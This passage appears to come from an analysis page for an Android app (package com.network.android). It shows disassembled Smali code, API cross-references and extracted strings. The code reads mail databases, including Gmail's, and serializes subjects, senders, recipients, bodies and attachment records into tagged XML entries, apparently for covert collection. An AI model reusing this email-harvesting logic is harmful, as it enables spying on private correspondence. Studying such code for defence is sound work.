      1203const/16 v2, 0x79
      1204try_start_690:
      1205const-string v3, "GET_ATTACHMENT_NOT_AVAILABLE"
      1207invoke-static {v1, v2, v3}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      1209const-string v1, "GetContentMail getAttachmentFileCommandGmail no attachment available (query size 0) "
      1211invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      1212const/4 v1, 0x0
      1213const/16 v2, 0x79
      1215const-string v3, ""
      1216move-object/from16 v0, p0
      1218iget-object v4, v0, Lcom/network/android/t;->e:Ljava/lang/String;
      1220invoke-static {v4}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      1221move-result-object v4
      1223invoke-static {v1, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      1224const/4 v1, 0x0
      1225const/16 v2, -0x3cae
      1227const-string v3, ""
      1228move-object/from16 v0, p0
      1230iget-object v4, v0, Lcom/network/android/t;->e:Ljava/lang/String;
      1232invoke-static {v4}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      1233move-result-object v4
      1235invoke-static {v1, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      1236move-object/from16 v0, p0
      1238iget-object v1, v0, Lcom/network/android/t;->d:Landroid/content/Context;
      1240const-string v2, "httpPing"
      1242invoke-static {v1, v2}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      1243goto_6c3: if-eqz v13, :cond_34e
      1244try_start_6c5:
      1245invoke-interface {v13}, Landroid/database/Cursor;->close()V
      1246try_end_6c8: goto/16 :goto_34e
      1247catch_6ca: move-exception v1
      1248try_start_6cb: new-instance v2, Ljava/lang/StringBuilder;
      1250const-string v3, "GetContentMail getAttachmentFileCommandGmail finaly- "
      1252invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1254invoke-virtual {v1}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      1255move-result-object v3
      1257invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1258move-result-object v2
      1260invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1261move-result-object v2
      1263invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1264try_end_6e1: goto/16 :goto_34e
      1265catchall_6e3: move-exception v1
      1266goto_6e4: if-eqz v16, :cond_6e9
      1267try_start_6e6:
      1268invoke-virtual/range {v16 .. v16}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      1269cond_6e9: if-eqz v17, :cond_6ee
      1271invoke-interface/range {v17 .. v17}, Landroid/database/Cursor;->close()V
      1272cond_6ee: if-eqz v15, :cond_6f7
      1273if-eqz v14, :cond_6f7
      1274move-object/from16 v0, v18
      1276invoke-static {v15, v0, v14}, Lcom/network/android/m;->a(Ljava/util/HashMap;Ljava/lang/String;[Ljava/lang/String;)V
      1277cond_6f7:
      1278invoke-interface/range {v19 .. v19}, Ljava/util/concurrent/locks/Lock;->lock()V
      1279goto_6fa: throw v1
      1280cond_6fb: const/4 v1, 0x1
      1281const/16 v2, 0x79
      1282try_start_6fe:
      1283const-string v3, "GET_ATTACHMENT_NOT_AVAILABLE"
      1285invoke-static {v1, v2, v3}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      1287const-string v1, "GetContentMail getAttachmentFileCommandGmail no attachment available (query size null) "
      1289invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      1290const/4 v1, 0x0
      1291const/16 v2, 0x79
      1293const-string v3, ""
      1294move-object/from16 v0, p0
      1296iget-object v4, v0, Lcom/network/android/t;->e:Ljava/lang/String;
      1298invoke-static {v4}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      1299move-result-object v4
      1301invoke-static {v1, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      1302const/4 v1, 0x0
      1303const/16 v2, -0x3cae
      1305const-string v3, ""
      1306move-object/from16 v0, p0
      1308iget-object v4, v0, Lcom/network/android/t;->e:Ljava/lang/String;
      1310invoke-static {v4}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      1311move-result-object v4
      1313invoke-static {v1, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      1314move-object/from16 v0, p0
      1316iget-object v1, v0, Lcom/network/android/t;->d:Landroid/content/Context;
      1318const-string v2, "httpPing"
      1320invoke-static {v1, v2}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      1321try_end_731: goto/16 :goto_6c3
      1322catch_732: move-exception v2
      1323try_start_733: new-instance v3, Ljava/lang/StringBuilder;
      1325const-string v4, "GetContentMail getAttachmentFileCommandGmail finally- "
      1327invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1329invoke-virtual {v2}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      1330move-result-object v4
      1332invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1333move-result-object v3
      1335invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1336move-result-object v3
      1338invoke-static {v3, v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1339try_end_749: goto/16 :goto_6fa
      1340catch_74a: move-exception v2
      1341try_start_74b: new-instance v3, Ljava/lang/StringBuilder;
      1343const-string v4, "GetContentMail getAttachmentFileCommandGmail finaly- "
      1345invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1347invoke-virtual {v2}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      1348move-result-object v4
      1350invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1351move-result-object v3
      1353invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1354move-result-object v3
      1356invoke-static {v3, v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1357goto/16 :goto_573
      1358catch_763: move-exception v1
      1359new-instance v2, Ljava/lang/StringBuilder;
      1361const-string v3, "GetContentMail getAttachmentFileCommandGmail finaly- "
      1363invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1365invoke-virtual {v1}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      1366move-result-object v3
      1368invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1369move-result-object v2
      1371invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1372move-result-object v2
      1374invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1375goto/16 :goto_34e
      1376catch_77c: move-exception v1
      1377new-instance v2, Ljava/lang/StringBuilder;
      1379const-string v3, "GetContentMail getAttachmentFileCommandGmail finaly- "
      1381invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1383invoke-virtual {v1}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      1384move-result-object v3
      1386invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1387move-result-object v2
      1389invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1390move-result-object v2
      1392invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1393try_end_793: goto/16 :goto_449
      1394catchall_795: move-exception v1
      1395move-object v14, v2
      1396move-object v15, v3
      1397move-object/from16 v16, v4
      1398move-object/from16 v17, v5
      1399goto/16 :goto_6e4
      1400catchall_79e: move-exception v1
      1401move-object v15, v3
      1402move-object/from16 v16, v4
      1403move-object/from16 v17, v5
      1404goto/16 :goto_6e4
      1405catchall_7a6: move-exception v1
      1406move-object/from16 v16, v4
      1407move-object/from16 v17, v5
      1408goto/16 :goto_6e4
      1409catchall_7ad: move-exception v1
      1410move-object/from16 v17, v5
      1411goto/16 :goto_6e4
      1412catchall_7b2: move-exception v1
      1413move-object v14, v2
      1414move-object v15, v3
      1415move-object/from16 v16, v4
      1416move-object/from16 v17, v5
      1417goto/16 :goto_6e4
      1418catch_7bb: move-exception v1
      1419goto/16 :goto_57b
      1420catch_7be: move-exception v1
      1421move-object v2, v14
      1422goto/16 :goto_57b
      1423catch_7c2: move-exception v1
      1424move-object v2, v14
      1425move-object v3, v15
      1426goto/16 :goto_57b
      1427catch_7c7: move-exception v1
      1428move-object v2, v14
      1429move-object v3, v15
      1430move-object/from16 v4, v16
      1431goto/16 :goto_57b
      1432catchall_7ce: move-exception v1
      1433move-object v13, v2
      1434goto/16 :goto_56e
      1435catchall_7d2: move-exception v1
      1436move-object v13, v2
      1437goto/16 :goto_56e
      1438catch_7d6: move-exception v1
      1439goto/16 :goto_302
      1440catch_7d9: move-exception v1
      1441move-object v7, v3
      1442goto/16 :goto_2b7
      1443catch_7dd: move-exception v1
      1444move-object v2, v3
      1445move-object v3, v7
      1446goto/16 :goto_601
      1447catch_7e2: move-exception v1
      1448move-object v3, v7
      1449goto/16 :goto_601
      1450catch_7e6: move-exception v1
      1451move-object v2, v11
      1452move-object v3, v7
      1453goto/16 :goto_601
      1454cond_7eb: move-object v11, v3
      1455goto/16 :goto_40e
      1456cond_7ee: move-object v8, v2
      1457goto/16 :goto_387
      Cross References
      APIs
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.String.equals
      • java.lang.String.contains
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.Cursor.moveToFirst
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.close
      • java.lang.String.length
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Vector.addElement
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.toString
      • java.util.Vector.addElement
      • java.lang.String.length
      • java.lang.Integer.toString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getInt
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.String.length
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getBlob
      • java.lang.String.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • _id
      • GetContentMail serializeEmail id:
      • dateSentMs
      • subject
      • fromAddress
      • toAddresses
      • ccAddresses
      • bccAddresses
      • Inbox
      • Gmail
      • Sent Items
      • emailEntry
      • jigglypuff_mail
      • recordId
      • _
      • filename
      • type
      • 0
      • timestamp
      • service:
      • \nfolder:
      • \ndate:
      • \nSubject:
      • \nFrom:
      • \nTo:
      • \nCC:
      • \nBCC:
      • select * from Body where messageKey =
      • textContent
      • htmlContent
      • textReply
      • htmlReply
      • introText
      • \nContent-Type: multipart/alternative; boundary=\"ANDROID_BOUNDARY\"
      • \nMIME-Version: 1.0
      • \n\n--ANDROID_BOUNDARY
      • \r\nContent-Type: text/plain; charset=\"UTF-8\"
      • \n\n
      • \r\n
      • \n
      • \r\nContent-Type: text/html; charset=\"UTF-8\"
      • GetContentMail serializeEmail body:
      • size
      • flagAttachment
      • timeStamp
      • fromList
      • toList
      • ccList
      • bccList
      • mailboxKey
      • accountKey
      • Drafts
      • email is draft
      • GetContentMail serializeEmail MAIL contant get body -
      • GetContentMail serializeEmail mail contant get body finaly -
      • GetContentMail serializeEmail contant -
      • GetContentMail serializeEmail -
      • body
      • GetContentMail serializeEmail get Gmail body
      • bodyCompressed
      • GetContentMail serializeEmail EMAIL contant get body -
      • joinedAttachmentInfos
      • GetContentMail serializeEmail Gmail joinedAttachmentInfos:
      Position Instruction Meta Information
      0try_start_0:
      1const-string v2, "_id"
      2move-object/from16 v0, p1
      4invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      5move-result v2
      6move-object/from16 v0, p1
      8invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      9move-result-object v10
      10new-instance v2, Ljava/lang/StringBuilder;
      12const-string v3, "GetContentMail serializeEmail id:"
      14invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      16invoke-virtual {v2, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      17move-result-object v2
      19invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      20move-result-object v2
      22invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      23const/4 v2, 0x1
      24move/from16 v0, p7
      25if-ne v0, v2, :cond_2d2
      27const-string v2, "dateSentMs"
      28move-object/from16 v0, p1
      30invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      31move-result v2
      32move-object/from16 v0, p1
      34invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      35move-result-object v7
      37const-string v2, "subject"
      38move-object/from16 v0, p1
      40invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      41move-result v2
      42move-object/from16 v0, p1
      44invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      45move-result-object v6
      47const-string v2, "fromAddress"
      48move-object/from16 v0, p1
      50invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      51move-result v2
      52move-object/from16 v0, p1
      54invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      55move-result-object v2
      57invoke-static {v2}, Lcom/network/android/r;->b(Ljava/lang/String;)Ljava/lang/String;
      58move-result-object v5
      60const-string v2, "toAddresses"
      61move-object/from16 v0, p1
      63invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      64move-result v2
      65move-object/from16 v0, p1
      67invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      68move-result-object v2
      70invoke-static {v2}, Lcom/network/android/r;->b(Ljava/lang/String;)Ljava/lang/String;
      71move-result-object v4
      73const-string v2, "ccAddresses"
      74move-object/from16 v0, p1
      76invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      77move-result v2
      78move-object/from16 v0, p1
      80invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      81move-result-object v2
      83invoke-static {v2}, Lcom/network/android/r;->b(Ljava/lang/String;)Ljava/lang/String;
      84move-result-object v3
      86const-string v2, "bccAddresses"
      87move-object/from16 v0, p1
      89invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      90move-result v2
      91move-object/from16 v0, p1
      93invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      94move-result-object v2
      96invoke-static {v2}, Lcom/network/android/r;->b(Ljava/lang/String;)Ljava/lang/String;
      97move-result-object v2
      99const-string v8, "Inbox"
      101const-string v9, "Gmail"
      103invoke-virtual {v9, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      104move-result v9
      105if-nez v9, :cond_4e3
      106move-object/from16 v0, p8
      108invoke-virtual {v5, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      109move-result v9
      110if-eqz v9, :cond_4e3
      112const-string v8, "Sent Items"
      113move-object v9, v8
      114move-object v8, v7
      115move-object v7, v6
      116move-object v6, v4
      117move-object v4, v2
      118move-object v2, v5
      119move-object v5, v3
      120move-object/from16 v3, p8
      121goto_a6: new-instance v11, Ljava/lang/StringBuilder;
      123invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
      125const-string v12, ""
      127const-string v13, "emailEntry"
      128move-object/from16 v0, p0
      130invoke-interface {v0, v12, v13}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      132invoke-static {v8}, Lcom/network/android/m;->a(Ljava/lang/String;)Ljava/lang/String;
      133move-result-object v12
      134new-instance v8, Ljava/lang/StringBuilder;
      136invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
      138invoke-virtual {v8, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      139move-result-object v8
      141const-string v13, "jigglypuff_mail"
      143invoke-virtual {v8, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      144move-result-object v8
      146invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      147move-result-object v13
      149const-string v8, ""
      151const-string v14, "recordId"
      152new-instance v15, Ljava/lang/StringBuilder;
      154invoke-direct {v15}, Ljava/lang/StringBuilder;-><init>()V
      156invoke-virtual {v15, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      157move-result-object v15
      159const-string v16, "_"
      161invoke-virtual/range {v15 .. v16}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      162move-result-object v15
      163move-object/from16 v0, p6
      165invoke-virtual {v15, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      166move-result-object v15
      168invoke-virtual {v15}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      169move-result-object v15
      170move-object/from16 v0, p0
      172invoke-interface {v0, v8, v14, v15}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      174const-string v8, ""
      176const-string v14, "filename"
      177move-object/from16 v0, p0
      179invoke-interface {v0, v8, v14, v13}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      181const-string v8, ""
      183const-string v14, "type"
      185const-string v15, "0"
      186move-object/from16 v0, p0
      188invoke-interface {v0, v8, v14, v15}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      190const-string v8, ""
      192const-string v14, "timestamp"
      193move-object/from16 v0, p0
      195invoke-interface {v0, v8, v14, v12}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      196if-nez v2, :cond_10d
      197move-object v2, v3
      198cond_10d: new-instance v8, Ljava/lang/StringBuilder;
      200const-string v14, "service:"
      202invoke-direct {v8, v14}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      204invoke-virtual {v8, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      205move-result-object v3
      207invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      208move-result-object v3
      210invoke-virtual {v11, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      211new-instance v3, Ljava/lang/StringBuilder;
      213const-string v8, "\nfolder:"
      215invoke-direct {v3, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      217invoke-virtual {v3, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      218move-result-object v3
      220invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      221move-result-object v3
      223invoke-virtual {v11, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      224new-instance v3, Ljava/lang/StringBuilder;
      226const-string v8, "\ndate:"
      228invoke-direct {v3, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      230invoke-virtual {v3, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      231move-result-object v3
      233invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      234move-result-object v3
      236invoke-virtual {v11, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      237new-instance v3, Ljava/lang/StringBuilder;
      239const-string v8, "\nSubject:"
      241invoke-direct {v3, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      243invoke-virtual {v3, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      244move-result-object v3
      246invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      247move-result-object v3
      249invoke-virtual {v11, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      250new-instance v3, Ljava/lang/StringBuilder;
      252const-string v7, "\nFrom:"
      254invoke-direct {v3, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      256invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      257move-result-object v2
      259invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      260move-result-object v2
      262invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      263new-instance v2, Ljava/lang/StringBuilder;
      265const-string v3, "\nTo:"
      267invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      269invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      270move-result-object v2
      272invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      273move-result-object v2
      275invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      276if-eqz v5, :cond_18d
      277new-instance v2, Ljava/lang/StringBuilder;
      279const-string v3, "\nCC:"
      281invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      283invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      284move-result-object v2
      286invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      287move-result-object v2
      289invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      290cond_18d: if-eqz v4, :cond_1a1
      291new-instance v2, Ljava/lang/StringBuilder;
      293const-string v3, "\nBCC:"
      295invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      297invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      298move-result-object v2
      300invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      301move-result-object v2
      303invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      304try_start_1a1:
      305const-string v7, ""
      307const-string v6, ""
      308try_end_1a5: const/4 v5, 0x0
      309const/4 v4, 0x0
      310const/4 v8, 0x0
      311if-nez p7, :cond_3f2
      312const/4 v3, 0x0
      313try_start_1ab: new-instance v2, Ljava/lang/StringBuilder;
      315const-string v9, "select * from Body where messageKey = "
      317invoke-direct {v2, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      319invoke-virtual {v2, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      320move-result-object v2
      322invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      323move-result-object v2
      324const/4 v9, 0x0
      325move-object/from16 v0, p4
      327invoke-virtual {v0, v2, v9}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      328move-result-object v3
      329if-eqz v3, :cond_4e0
      331invoke-interface {v3}, Landroid/database/Cursor;->moveToFirst()Z
      332move-result v2
